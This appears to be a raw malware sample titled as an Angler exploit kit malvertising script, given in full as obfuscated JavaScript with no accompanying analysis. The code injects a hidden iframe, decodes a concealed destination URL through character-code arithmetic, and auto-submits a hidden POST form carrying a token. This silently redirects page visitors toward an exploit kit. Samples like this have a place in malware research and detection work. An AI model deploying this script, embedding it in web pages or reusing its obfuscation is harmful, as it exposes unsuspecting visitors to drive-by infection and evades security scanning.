Angler EK obfuscated malvertising script leading to redirect

(function() {
    function y() {
        var ca = {
            "ux": function() {
                return 'd' + 'iv';
            },
            "ge": function() {
                return document.body || document.getElementsByTagName('body')[0];
            },
            "oi": function() {
                return document.appendChild;
            },
            "tme": function(rnqb) {
                var afe = document.createElement(this['ux']());
                afe.appendChild(rnqb);
                this['ge']().appendChild(afe);
            },
            "s": function() {
                var m = document.createElement(this['ro']());
                m.id = 'lzdj';
                var dl = m.style;
                dl.width = '100' + '%';
                dl.border = 0;
                dl.height = '100' + 'px';
                return m;
            },
            "cg": function(eajq) {
                var sh = setTimeout(pjmh, 640);
                eajq.onload = function() {
                    pjmh(sh)
                };
            },
            "ro": function() {
                return 'if' + 'rame';
            }
        };
        rfd();
        var fk = ca['s']();
        ca['cg'](fk);
        ca['tme'](fk);
    };

    function jofk(olrw) {
        var oh = {
            "3955023094": "hkBbW84K4is1jf6LZID0oCv%2FxZVXreHhwptu4TAkXkU%3D"
        };
        for (var db in oh) {
            var qp = oh[db];
            var ubnb = document.createElement('input');
            ubnb.type = 'hidden';
            ubnb.name = db;
            ubnb.value = qp;
            olrw.appendChild(ubnb);
        }
    };

    function xrs(ka) {
        var mop = ka.contentDocument || ka.contentWindow || ka;
        var tv = mop;
        if (mop.document) {
            tv = mop.document.body || mop.document.getElementsByTagName('body')[0];
        } else {
            tv = mop.body || mop.getElementsByTagName('body')[0];
        }
        return tv;
    }
    this.pcv = function() {
        return 109;
    };
    this.mcp = function(zrel) {
        return Math.round((((zrel / 2) / 2) + 22.75));
    };
    this.oml = function(laud) {
        return Math.round(((((((((laud / 4) / 3) - 236) + 250) * 10) * 10) - 218) - 1364.6666666667));
    };
    this.bzhn = function() {
        return 107;
    };
    this.bywp = function() {
        return 98;
    };
    this.zd = function() {
        return 46;
    };
    this.njd = function() {
        return 47;
    };
    this.cs = function() {
        return 99;
    };
    this.pcgi = function(hq) {
        return Math.round((((((((((((hq + 35) - 183) * 8) - 18) + 81) - 160) * 5) * 8) - 197) / 3) + 11073));
    };
    this.suw = function() {
        return 111;
    };
    this.hyp = function(ky) {
        return Math.round(((((((((ky / 2) * 7) / 3) * 2) - 101) - 110) / 7) + 140.80952380952));
    };
    this.x = function() {
        return 102;
    };
    this.d = function() {
        return 106;
    };
    this.ak = function() {
        return 111;
    };
    this.o = function() {
        return 47;
    };

    function qq(f, z, jaw) {
        return String.fromCharCode(f.toString().substr(z, jaw));
    }
    this.f = function() {
        return 98;
    };
    this.jaw = function(hq) {
        return Math.round((((((((((hq / 4) + 88) - 43) + 186) + 9) - 132) - 204) * 5) + 514.75));
    };
    this.l = function() {
        return 108;
    };

    function c() {
        var jult = [],
            gbro = [],
            bso = 0,
            sz = "112116116231582539718588999107461109711819311154611464410830110104981823876230131046535215",
            azpj = {
                "0": "v",
                "28": "cftm",
                "8": "pcgi",
                "29": "x",
                "36": "l",
                "6": "mcp",
                "17": "hyp",
                "30": "bzhn",
                "23": "njd",
                "5": "o",
                "35": "oml",
                "3": "lm",
                "7": "bywp",
                "20": "cs",
                "31": "f",
                "9": "ae",
                "21": "ak",
                "16": "suw",
                "32": "zd",
                "34": "jaw",
                "22": "pcv",
                "24": "d"
            },
            azqz = [3, 3, 3, 3, 2, 3, 2, 2, 2, 2, 2, 3, 2, 3, 2, 3, 2, 2, 3, 2, 1, 3, 2, 3, 2, 3, 3, 2, 3, 2, 2, 3, 2, 3, 2, 2, 3];
        for (var m in azqz) {
            var ce = azqz[m],
                f = sz.substr(bso, ce),
                t = jult[bso],
                qoat = azpj[m];
            if (String(f).length !== ce) {
                f = sz.substr(bso, ce);
            }
            f = Number(f);
            if (qoat !== undefined) {
                if (t) {
                    this[t] = String.fromCharCode((typeof qoat === 'function') ? qoat(f) : this[qoat](f));
                } else {
                    gbro.push(String.fromCharCode((typeof qoat === 'function') ? qoat(f) : this[qoat](f)));
                }
            } else {
                (t) ? this[t] = String.fromCharCode(f): gbro.push(String.fromCharCode(f));
            }
            bso += Number(ce);
        }
        return gbro.join('');
    }
    this.cftm = function(e) {
        return Math.round(((((e * 8) / 4) + 214) - 459));
    };
    this.lm = function() {
        return 112;
    };
    this.v = function() {
        return 104;
    };
    this.ae = function() {
        return 105;
    };

    function rfd() {
        return document.body || document.getElementsByTagName('body')[0];
    }

    function pjmh(h) {
        var m = {
            "uis": function(xg) {
                if (xg !== undefined) {
                    window.clearTimeout(xg);
                }
            },
            "k": function(vgrr) {
                var zyd = this['dpbn']();
                jofk(vgrr);
                zyd.onload = null;
                xrs(zyd).appendChild(vgrr)
            },
            "ht": function(fx) {
                return fx.appendChild;
            },
            "ylyc": function(m) {
                var yqil = document.createElement('form');
                yqil.action = c();
                yqil.target = '_self';
                yqil.method = 'POST';
                return yqil;
            },
            "dpbn": function() {
                return document.getElementById('lzdj');
            }
        };
        m['uis'](h);
        var s = m['ylyc']();
        m['k'](s);
        s.submit();
    }

    function lblh() {
        return document.body || document.getElementsByTagName('body')[0];
    }
    setTimeout(y, 317);
})();